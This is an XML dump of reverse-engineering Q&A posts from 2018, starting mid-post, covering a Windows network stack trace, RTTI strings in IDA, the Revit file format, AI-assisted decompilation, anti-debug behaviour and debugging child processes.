0x2d&#xA;9,          tcpip.sys,          TcpNlClientReceiveDatagrams + 0x12&#xA;10,         tcpip.sys,          IppDeliverListToProtocol + 0x49&#xA;11,         tcpip.sys,          IppProcessDeliverList + 0x2a&#xA;12,         tcpip.sys,          IppReceiveHeaderBatch + 0x1fb&#xA;13,         tcpip.sys,          IppLoopbackTransmit + 0x226&#xA;14,         tcpip.sys,          IppLoopbackEnqueue + 0x13d&#xA;15,         tcpip.sys,          IppDispatchSendPacketHelper + 0xf6&#xA;16,         tcpip.sys,          IppPacketizeDatagrams + 0x8d6&#xA;17,         tcpip.sys,          IppSendDatagramsCommon + 0x652&#xA;18,         tcpip.sys,          IpNlpSendDatagrams + 0x4b&#xA;19,         tcpip.sys,          IppSlowSendDatagram + 0x31&#xA;20,         tcpip.sys,          IpNlpFastSendDatagram + 0x1067&#xA;21,         tcpip.sys,          TcpTcbSend + 0x787&#xA;22,         tcpip.sys,          TcpCreateAndConnectTcbRateLimitComplete + 0x6d2&#xA;23,         tcpip.sys,          TcpCreateAndConnectTcbInspectConnectComplete + 0x20d&#xA;24,         tcpip.sys,          TcpContinueCreateAndConnect + 0x69b&#xA;25,         tcpip.sys,          TcpCreateAndConnectTcbInspectConnectRequestComplete + 0xf8&#xA;26,         tcpip.sys,          TcpCreateAndConnectTcbWorkQueueRoutine + 0x4df&#xA;27,         tcpip.sys,          TcpCreateAndConnectTcb + 0x82a&#xA;28,         afd.sys,            AfdConnect + 0x826&#xA;29,         afd.sys,            AfdDispatchDeviceControl + 0x3b&#xA;30,         ntkrnlpa.exe,       IofCallDriver + 0x63&#xA;31,         aswArPot.sys,       aswArPot.sys + 0xfef3&#xA;32,         ntkrnlpa.exe,       IofCallDriver + 0x63&#xA;33,         ntkrnlpa.exe,       IopSynchronousServiceTail + 0x1f8&#xA;34,         ntkrnlpa.exe,       IopXxxControlFile + 0x6aa&#xA;35,         ntkrnlpa.exe,       NtDeviceIoControlFile + 0x2a&#xA;36,         ntkrnlpa.exe,       KiSystemServicePostCall&#xA;37,         ntdll.dll,          ZwDeviceIoControlFile + 0xc&#xA;38,         mswsock.dll,        SockDoConnectReal + 0x29e&#xA;39,         mswsock.dll,        SockDoConnect + 0x3a1&#xA;40,         mswsock.dll,        WSPConnect + 0x1f &amp;lt;&amp;lt;------&#xA;41,         ws2_32.dll,         connect + 0x52 &amp;lt;&amp;lt;&amp;lt;&amp;lt;----&#xA;42,         _socket.pyd,        init_sockobject + 0xf78  &amp;lt;&amp;lt;--parent&#xA;43,         _socket.pyd,        init_sockobject + 0x10f2&#xA;44,         python27.dll,       PyCFunction_Call + 0xe3&#xA;45,         python27.dll,       PyEval_GetFuncDesc + 0xb0a&#xA;46,         python27.dll,       PyEval_EvalFrameEx + 0x247b&#xA;47,         python27.dll,       PyEval_EvalCodeEx + 0x7dc&#xA;48,         python27.dll,       PyFunction_SetClosure + 0x9a1&#xA;49,         python27.dll,       PyObject_Call + 0x4c&#xA;50,         python27.dll,       python27.dll + 0x7ac5&#xA;51,         python27.dll,       PyObject_Call + 0x4c&#xA;52,         python27.dll,       PyEval_GetFuncDesc + 0x834&#xA;53,         python27.dll,       PyEval_GetFuncDesc + 0x3d5&#xA;54,         python27.dll,       PyEval_EvalFrameEx + 0x23cf&#xA;55,         python27.dll,       PyEval_EvalCodeEx + 0x7dc&#xA;56,         python27.dll,       PyRun_FileExFlags + 0xcf&#xA;57,         python27.dll,       PyRun_FileExFlags + 0x6e&#xA;58,         python27.dll,       PyRun_SimpleFileExFlags + 0x201&#xA;59,         python27.dll,       PyRun_AnyFileExFlags + 0x57&#xA;60,         python27.dll,       Py_Main + 0xa4c&#xA;61,         python.exe,         python.exe + 0x1180&#xA;62,         kernel32.dll,       BaseThreadInitThunk + 0xe&#xA;63,         ntdll.dll,          __RtlUserThreadStart + 0x70&#xA;64,         ntdll.dll,          _RtlUserThreadStart + 0x1b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2018-07-21T21:59:58.927" LastActivityDate="2018-07-21T21:59:58.927" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18864" PostTypeId="1" AcceptedAnswerId="18943" CreationDate="2018-07-22T08:33:46.187" Score="0" ViewCount="299" Body="&lt;p&gt;I am reversing a class, which has RTTI information. It has 2 virtual functions in its vftable, and in IDA Pro I can see some kind of zero terminated strings below the last vfunction. Here's how it looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.rdata:00007FF6EF4FB598 ; class BSTValueEventSource&amp;lt;ViewCasterUpdateEvent&amp;gt;: BSTEventSink&amp;lt;BSTValueRequestEvent&amp;lt;ViewCasterUpdateEvent&amp;gt; &amp;gt;;   (#classinformer)&#xA;.rdata:00007FF6EF4FB598                 dq offset ??_R4?$BSTValueEventSource@VViewCasterUpdateEvent@@@@6B@ ; const BSTValueEventSource&amp;lt;ViewCasterUpdateEvent&amp;gt;::`RTTI Complete Object Locator'&#xA;.rdata:00007FF6EF4FB5A0 ; const BSTValueEventSource&amp;lt;class ViewCasterUpdateEvent&amp;gt;::`vftable'&#xA;.rdata:00007FF6EF4FB5A0 ??_7?$BSTValueEventSource@VViewCasterUpdateEvent@@@@6B@ dq offset sub_7FF6ED1A39F0&#xA;.rdata:00007FF6EF4FB5A0                                         ; DATA XREF: sub_7FF6ED19DC00:loc_7FF6ED19DC13↑o&#xA;.rdata:00007FF6EF4FB5A0                                         ; sub_7FF6ED19E180:loc_7FF6ED19E263↑o ...&#xA;.rdata:00007FF6EF4FB5A8                 dq offset sub_7FF6ED1A4560 ; //&#xA;.rdata:00007FF6EF4FB5B0 aTtcastray      db 'TtCastRay',0        ; DATA XREF: sub_7FF6ED19E2D0+AF9↑o&#xA;.rdata:00007FF6EF4FB5B0                                         ; sub_7FF6ED1A4F80+48↑o ...&#xA;.rdata:00007FF6EF4FB5BA                 align 20h&#xA;.rdata:00007FF6EF4FB5C0 aBusefuzzypicki db 'bUseFuzzyPicking:Interface',0&#xA;.rdata:00007FF6EF4FB5C0                                         ; DATA XREF: .data:00007FF6EFF50D68↓o&#xA;.rdata:00007FF6EF4FB5DB                 align 20h&#xA;.rdata:00007FF6EF4FB5E0 aFactivatepickr db 'fActivatePickRadius:Interface',0&#xA;.rdata:00007FF6EF4FB5E0                                         ; DATA XREF: .data:00007FF6EFF50D80↓o&#xA;.rdata:00007FF6EF4FB5FE                 align 20h&#xA;.rdata:00007FF6EF4FB600 aFactivatepickl db 'fActivatePickLength:Interface',0&#xA;.rdata:00007FF6EF4FB600                                         ; DATA XREF: .data:00007FF6EFF50D98↓o&#xA;.rdata:00007FF6EF4FB61E                 align 20h&#xA;.rdata:00007FF6EF4FB620 aFlargeactivate db 'fLargeActivatePickLength_G:Interface',0&#xA;.rdata:00007FF6EF4FB620                                         ; DATA XREF: .data:00007FF6EFF50DB0↓o&#xA;.rdata:00007FF6EF4FB645                 align 8&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems that those strings can provide some useful information, but all the sources on RTTI I read didn't have anything that could explain them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could those strings be?&lt;/p&gt;&#xA;" OwnerUserId="25097" LastActivityDate="2018-07-31T10:26:15.460" Title="What are zero terminated strings below vftable in RTTI?" Tags="|disassembly|c++|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18865" PostTypeId="2" ParentId="18849" CreationDate="2018-07-22T12:45:39.660" Score="1" Body="&lt;p&gt;There's a huge variary of windows API functions that let a program send TCP packets. Non of those (as far as I recall) contain the strings &lt;code&gt;tcp&lt;/code&gt; or &lt;code&gt;send buffer&lt;/code&gt; in their name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to reverse engineer network communication, you should start by gaining some knowledge on how packets are sent my programs, what are the relevant APIs and how they're used. This will most likely begin with reading the documentation over at MSDN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some pointers:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://msdn.microsoft.com/de-de/library/windows/desktop/ms740149(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;send&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-gb/windows/desktop/WinSock/windows-sockets-start-page-2&quot; rel=&quot;nofollow noreferrer&quot;&gt;introduction to the winsock subsystem&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-gb/windows/desktop/WinSock/getting-started-with-winsock&quot; rel=&quot;nofollow noreferrer&quot;&gt;a winsock walkthrough&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-07-22T12:45:39.660" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18866" PostTypeId="1" AcceptedAnswerId="18872" CreationDate="2018-07-22T13:05:19.700" Score="7" ViewCount="6307" Body="&lt;p&gt;In the past for years I used some disassembler and tried some decompiler, nowadays there's so much talking and stuff about deep learning and AI, I wonder if some can be used with those tasks (given some human training) and if there's some tool using it already.&lt;/p&gt;&#xA;" OwnerUserId="10211" LastActivityDate="2018-07-25T07:52:19.263" Title="Can AI be used to write better decompilers/disassemblers?" Tags="|disassemblers|decompiler|" AnswerCount="4" CommentCount="4" ClosedDate="2018-07-26T11:06:40.293" ContentLicense="CC BY-SA 4.0" />
  <row Id="18867" PostTypeId="2" ParentId="16325" CreationDate="2018-07-22T15:58:04.663" Score="-1" Body="&lt;p&gt;&lt;strong&gt;binwalk -e&lt;/strong&gt; extracts it just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need &lt;a href=&quot;https://github.com/sviehb/jefferson&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/sviehb/jefferson&lt;/a&gt; though, later.&lt;/p&gt;&#xA;" OwnerUserId="25104" LastActivityDate="2018-07-22T15:58:04.663" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="18868" PostTypeId="1" CreationDate="2018-07-22T16:06:56.963" Score="8" ViewCount="939" Body="&lt;p&gt;I've been messing around with &lt;a href=&quot;https://www.autodesk.com/products/revit/overview&quot; rel=&quot;noreferrer&quot;&gt;Revit&lt;/a&gt; and trying to understand the internal data structures for its file format. I'm not particularly experienced with this type of work and the processes around reverse engineering something. I figured I would post here and see if anyone had any ideas. My goal is to be able to extract user data from a Revit file. Revit is architectural drawing program, but I know that Revit maintains some kind of event log and history, but I haven't been able to extract it from the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I think I know so far. Revit files are stored with the extension &lt;code&gt;.rvt&lt;/code&gt;. The file is actually &lt;a href=&quot;https://en.wikipedia.org/wiki/Compound_File_Binary_Format&quot; rel=&quot;noreferrer&quot;&gt;CFBF file&lt;/a&gt;. I wrote some code to parse the CFBF file and dump the contents. It yields a directory structure like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;├── BasicFileInfo&#xA;├── Contents&#xA;├── Formats&#xA;│   └── Latest&#xA;├── Global&#xA;│   ├── ContentDocuments&#xA;│   ├── DocumentIncrementTable&#xA;│   ├── ElemTable&#xA;│   ├── History&#xA;│   ├── Latest&#xA;│   └── PartitionTable&#xA;├── Partitions&#xA;│   └── 6&#xA;├── ProjectInformation&#xA;├── RevitPreview4.0&#xA;└── TransmissionData&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After looking at this, it would seem that &lt;code&gt;Global/History&lt;/code&gt; file is what I'm interested in. If you look at one of these files the header looks like this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000: 0100 0000 0000 0000 1f8b 0800 0000 0000  ................&#xA;00000010: 000b 84da 0934 948f ffe8 714b 4564 8994  .....4....qKEd..&#xA;00000020: c8ae fa48 ca9e b5c6 8c99 319b 91a5 2459  ...H......1...$Y&#xA;00000030: 4aa2 4264 4b84 ecfb beaf 59cb be6f d9be  J.BdK.....Y..o..&#xA;00000040: 9694 1422 b264 294b 4a28 ca16 eef3 fdfd  ...&quot;.d)KJ(......&#xA;00000050: bbe7 feae 73cf b9ce 799d 63de e7f3 7c9e  ....s...y.c...|.&#xA;00000060: 19cf 381c 9e6b 7b68 69fe cf07 85ee 7f3e  ..8..k{hi......&amp;gt;&#xA;00000070: dfef 2f12 e075 b385 f854 492c a399 d451  ../..u...TI,...Q&#xA;00000080: fdff 7bfc 5f2b fe9f c727 20f5 0372 a249  ..{._+...' ..r.I&#xA;00000090: c434 6209 f113 b182 f885 d840 d023 e766  .4b........@.#.f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The data looks a bit like gibberish, but 8 bytes in, I can see &lt;code&gt;1f 8b&lt;/code&gt; which is is the magic number for something that is gzipped. So at this point I stripped off the first 8 bytes and un-gzipped the file. This is where I'm stuck. The files are unzipping successfully, but I can't make sense of the binary data that's being spit out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of the files have similar pattern. I'm posting pastes to the sample files that I have.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://dumpz.org/bByDwdYTztbn&quot; rel=&quot;noreferrer&quot;&gt;https://dumpz.org/bByDwdYTztbn&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://dumpz.org/cW8f7wPHDXya&quot; rel=&quot;noreferrer&quot;&gt;https://dumpz.org/cW8f7wPHDXya&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://dumpz.org/bR6Q2BQKgnCz&quot; rel=&quot;noreferrer&quot;&gt;https://dumpz.org/bR6Q2BQKgnCz&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://dumpz.org/aWkNMAs8ZEa3&quot; rel=&quot;noreferrer&quot;&gt;https://dumpz.org/aWkNMAs8ZEa3&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Each of these files has some very obvious repeating structure. It makes me think it's not just gibberish, but I'm not sure what type of file format it is. The stuff I see:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Each file starts with a magic number &lt;code&gt;5d 04 01&lt;/code&gt;. It might be a version indicator or something&lt;/li&gt;&#xA;&lt;li&gt;There is a 16 byte sequence that is unique to each file that repeats three times, then there is 16 bytes of null then the sequence is repeated a fourth time&lt;/li&gt;&#xA;&lt;li&gt;The first 102 bytes of the file in every case has that same header structure&lt;/li&gt;&#xA;&lt;li&gt;The first 860 bytes or so have alternating null &quot;words&quot;&lt;/li&gt;&#xA;&lt;li&gt;Then there is a big chunk of raw data&lt;/li&gt;&#xA;&lt;li&gt;At the end of each file there is some repeating data again&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I've tried a few different tools to understand what's going on like &lt;code&gt;xortool&lt;/code&gt; and &lt;code&gt;binwalk&lt;/code&gt;. I haven't been able to really understand what this file is and what the header and trailer sections could mean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I figured I would share here and see if anyone had any ideas or thoughts of things to try. Looking at the data below, I can also see that there is a section of the data at the beginning that has a number that seems to be counting up. It stands out very clearly in the Veles view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/6CUN2.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6CUN2.png&quot; alt=&quot;View of the data&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it helps, this is a screenshot of what the history looks like for an example Revit file. I would guess it's stored simply in the History file, but I can't really tell.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/bmRos.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bmRos.png&quot; alt=&quot;History of Sample File&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="25105" LastEditorUserId="25105" LastEditDate="2018-07-22T18:03:47.410" LastActivityDate="2018-07-22T18:03:47.410" Title="Analyzing a Revit project file" Tags="|binary-analysis|binary-format|digital-forensics|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18870" PostTypeId="2" ParentId="18853" CreationDate="2018-07-22T20:56:37.587" Score="3" Body="&lt;p&gt;You get the “x/y patches applied” message when you try to patch at a virtual address that has no file offset associated with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally this happens if you add code at the end of a section. In rare cases it could be that there is a bug in converting the virtual addresses to file offsets. If you think that is the case, provide the relevant binary and patch location and open an issue at &lt;a href=&quot;http://issues.x64dbg.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://issues.x64dbg.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2018-07-22T20:56:37.587" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18871" PostTypeId="2" ParentId="18866" CreationDate="2018-07-23T06:43:44.700" Score="3" Body="&lt;p&gt;&lt;strong&gt;No!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reason is that AI is dumb, much more than you think it is. All it can do is matching patterns to predetermine output. And here are two main problem to use it to decompile code or to recreate &quot;readable&quot; source code:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;This matching isn't perfect. For example if you have &lt;code&gt;mov, eax 0x10&lt;/code&gt; it could be interpreted as &lt;code&gt;i=8;&lt;/code&gt; as AI didn't have this particulate training set, but it has   &lt;code&gt;mov, eax 0x8&lt;/code&gt;. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Other big problem is what to feed AI. In translation tools are used sentences, in image recognition are used features from whole images. What to use in code? Few op codes? How many? where to start? &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In conclusion AI (at this stage and near future) is mostly useless for this purpose.&lt;/p&gt;&#xA;" OwnerUserId="25112" LastEditorUserId="53" LastEditDate="2018-07-23T07:38:08.387" LastActivityDate="2018-07-23T07:38:08.387" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18872" PostTypeId="2" ParentId="18866" CreationDate="2018-07-23T07:50:36.523" Score="8" Body="&lt;p&gt;First, you cannot answer to this question without having to define what you mean by &lt;em&gt;AI&lt;/em&gt;... Because this is probably the worst name for a domain in computer science. Where people think about &quot;programs mimicking human reasoning&quot;, the reality is more about &quot;automated heuristics to recognize patterns in tons of samples&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I will take the more accurate definition of AI, it is to say that I assume that an AI program can recognize patterns that might escape to the understanding of human being and that they can self-train to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, speaking about disassembly, the core problems are definitely not about recognizing patterns but rebuilding all the execution paths that one can find in a binary. So, an AI algorithm is simply not interesting to choose if an execution path is more valuable than another because they are all interesting (as the disassembler need to exhaustively find &lt;strong&gt;all the paths&lt;/strong&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, speaking about decompilation, this is the field where you may want to use AI to recognize some patterns such as: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What compiler or what language has been used;&lt;/li&gt;&#xA;&lt;li&gt;Guess if this code is similar to another sample that is in your data-base of malware;&lt;/li&gt;&#xA;&lt;li&gt;Give a first guess of the architecture of the software (complex data-structures (arrays, records), functions, objects, modules, packages, ...) even after an obfuscation pass;&lt;/li&gt;&#xA;&lt;li&gt;Recognize the most common functions and what they may be used for;&lt;/li&gt;&#xA;&lt;li&gt;... probably many other guesses that can be automatized ...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But, the point here is that we are just all stuck at the disassembly problem (which is a quite strong problem!!!) and to go further we first need to have a reasonably reliable method/algorithm/tool in order to reach the next level (decompilation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though, a few people have worked in this direction, you may look at (this list is far from being complete, I search only 10mn on Google):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://pages.cs.wisc.edu/~jerryzhu/pub/nips07-abs.pdf&quot; rel=&quot;noreferrer&quot;&gt;Machine Learning-Assisted Binary Code Analysis&lt;/a&gt;, by Nathan Rosenblum, Xiaojin Zhu, Barton Miller and Karen Hunt, NIPS 2007.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.blackhat.com/docs/us-15/materials/us-15-Davis-Deep-Learning-On-Disassembly.pdf&quot; rel=&quot;noreferrer&quot;&gt;Deep Learning on Disassembly Data&lt;/a&gt; (&lt;a href=&quot;https://www.youtube.com/watch?v=LQh8dktQReI&quot; rel=&quot;noreferrer&quot;&gt;Full talk&lt;/a&gt;), by Andrew Davis and Matt Wolff, BlackHat 2015.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.cs.unm.edu/~eschulte/data/katz-saner-2018-preprint.pdf&quot; rel=&quot;noreferrer&quot;&gt;Using Recurrent Neural Networks for Decompilation&lt;/a&gt;, by Deborah S. Katz, Jason Ruchti and Eric Schulte, SANER 2018&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://storm-country.com/blog/evo-deco&quot; rel=&quot;noreferrer&quot;&gt;Evolving a Decompiler&lt;/a&gt;, by Matt Noonan, 2018;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2018-07-23T08:48:27.740" LastActivityDate="2018-07-23T08:48:27.740" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18873" PostTypeId="2" ParentId="18830" CreationDate="2018-07-23T08:32:54.720" Score="7" Body="&lt;p&gt;When a debugger wants to attach to a process it will do the following things (see the &lt;a href=&quot;https://github.com/mirror/reactos/blob/c6d2b35ffc91e09f50dfb214ea58237509329d6b/reactos/dll/win32/kernel32/client/debugger.c#L480&quot; rel=&quot;noreferrer&quot;&gt;DebugActiveProcess implementation on ReactOS&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Connect to the debuggee with &lt;code&gt;DbgUiConnectToDbg&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Tell the kernel to start debugging the process with &lt;code&gt;NtDebugActiveProcess&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Issue a &lt;code&gt;DbgBreakPoint&lt;/code&gt; in the attached-to process with &lt;code&gt;DbgUiIssueRemoteBreakin&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;DbgUiIssueRemoteBreakin&lt;/code&gt; function creates a thread in the debuggee pointed at &lt;code&gt;DbgUiRemoteBreakin&lt;/code&gt;, which in turn calls &lt;code&gt;DbgBreakPoint&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This anti-debug trick no longer works from Windows 7 and onwards because the &lt;code&gt;DbgUiIssueRemoteBreakin&lt;/code&gt; creates the &lt;code&gt;DbgUiRemoteBreakin&lt;/code&gt; thread with the &lt;code&gt;SkipThreadAttach&lt;/code&gt; flag (&lt;a href=&quot;http://waleedassar.blogspot.com/2012/12/skipthreadattach.html&quot; rel=&quot;noreferrer&quot;&gt;relevant blogpost&lt;/a&gt;). This causes the newly-created thread to not call &lt;code&gt;DllMain&lt;/code&gt; or TLS callbacks with the &lt;code&gt;DLL_THREAD_ATTACH&lt;/code&gt; or &lt;code&gt;DLL_THREAD_DETACH&lt;/code&gt; reason.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2018-07-23T08:32:54.720" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18874" PostTypeId="1" CreationDate="2018-07-23T15:54:24.763" Score="2" ViewCount="1328" Body="&lt;p&gt;I am trying to debug two different exe files,in windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first exe launches the second, and the second exe doesn't work well unless the first starts it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to be able to debug the second exe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to debug the begging of the exe, so attaching isn't an option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does IDA have a way to debug a process that's launched by another?&lt;/p&gt;&#xA;" OwnerUserId="25109" LastEditorUserId="25109" LastEditDate="2018-07-24T06:43:54.573" LastActivityDate="2018-07-24T06:43:54.573" Title="How debug process that not started with ida?" Tags="|ida|windows|debugging|" AnswerCount="1" CommentCount="3" ClosedDate="2018-07-25T12:01:34.600" ContentLicense="CC BY-SA 4.0" />
  <row Id="18875" PostTypeId="2" ParentId="18874" CreationDate="2018-07-23T20:42:14.213" Score="3" Body="&lt;p&gt;In a similar way, windows services must also be started by a special process. Microsoft &lt;a href=&quot;https://support.microsoft.com/en-us/help/824344/how-to-debug-windows-services&quot; rel=&quot;nofollow noreferrer&quot;&gt;has documentation on how to debug these kinds of processes.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The applicable section is &quot;Configure a service to start with the WinDbg debugger attached&quot;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Locate the following registry key &lt;code&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Create a new subkey with the name of the executable&lt;/li&gt;&#xA;&lt;li&gt;Within that subkey create a new string value named &lt;code&gt;Debugger&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set that value to the path to your debugger. See &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/417.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA's documentation&lt;/a&gt; for the needed command line flags.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="266" LastActivityDate="2018-07-23T20:42:14.213" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18876" PostTypeId="2" ParentId="18866" CreationDate="2018-07-23T20:56:04.117" Score="4" Body="&lt;p&gt;&lt;em&gt;Although I initially voted to close this question as primarily opinion-based, given both answers side with the same general answer (&quot;&lt;strong&gt;No!&lt;/strong&gt;&quot;) I'll answer as well. I just love being the devil's advocate.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;A general stance&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This question is very difficult to answer. As someone who came from the security field and had worked on quite a few machine learning related projects in the past, I know it's really hard to make an honest projection on whether it's possible to solve problems in our domain using machine learning. Often times ML/AI research is a lot about trial and error. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;AI disassembler&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Although the operation of disassembling a sequence of bytes is quite straight-forward, there are quite a few problems that are solved nowadays with somewhat clever heuristics. Those problems include:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Identifying function boundaries.&lt;/li&gt;&#xA;&lt;li&gt;Classifying code VS data.&lt;/li&gt;&#xA;&lt;li&gt;Inferring structures and higher-level constructs from assembly.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;and more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As time went on, some of those problems have been improved &lt;em&gt;mostly&lt;/em&gt; by creating and improving manually written heuristics and logical guidelines for disassemblers. Mostly based on human experience and incorrect results seen in the past. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it is still quite common to see errors in fully automated disassemblers and as evidence to that we can see the focus given by disassemblers to the reverse engineer to manually correct and adjust the automated analyses. One might argue it's possible that ML/AI approaches could create similar or better heuristics and more complex / accurate rules.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;AI decompiler&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Decompilation is generally seen as more difficult to accomplish even given perfect disassembly. It relies heavily on inferring higher-level constructs such as structures, objects, classes and inheritance. It requires more accurate data-type recognition and more demanding understanding and reasoning of abstract objects. Even humans find those harder to manually recognize, not to mention using automated rules and heuristics. Therefore, decompilation may prove a more fertile ground for such improvements.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;A word about the buzzword&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Nowadays, when startups rise and fall based on using the &lt;em&gt;right&lt;/em&gt; buzzword in their marketing it is easy to get drawn into using such buzzwords instead of accurate descriptions and forcing the solution on the problem instead of finding the best solution for the problem at hand.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2018-07-23T20:56:04.117" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
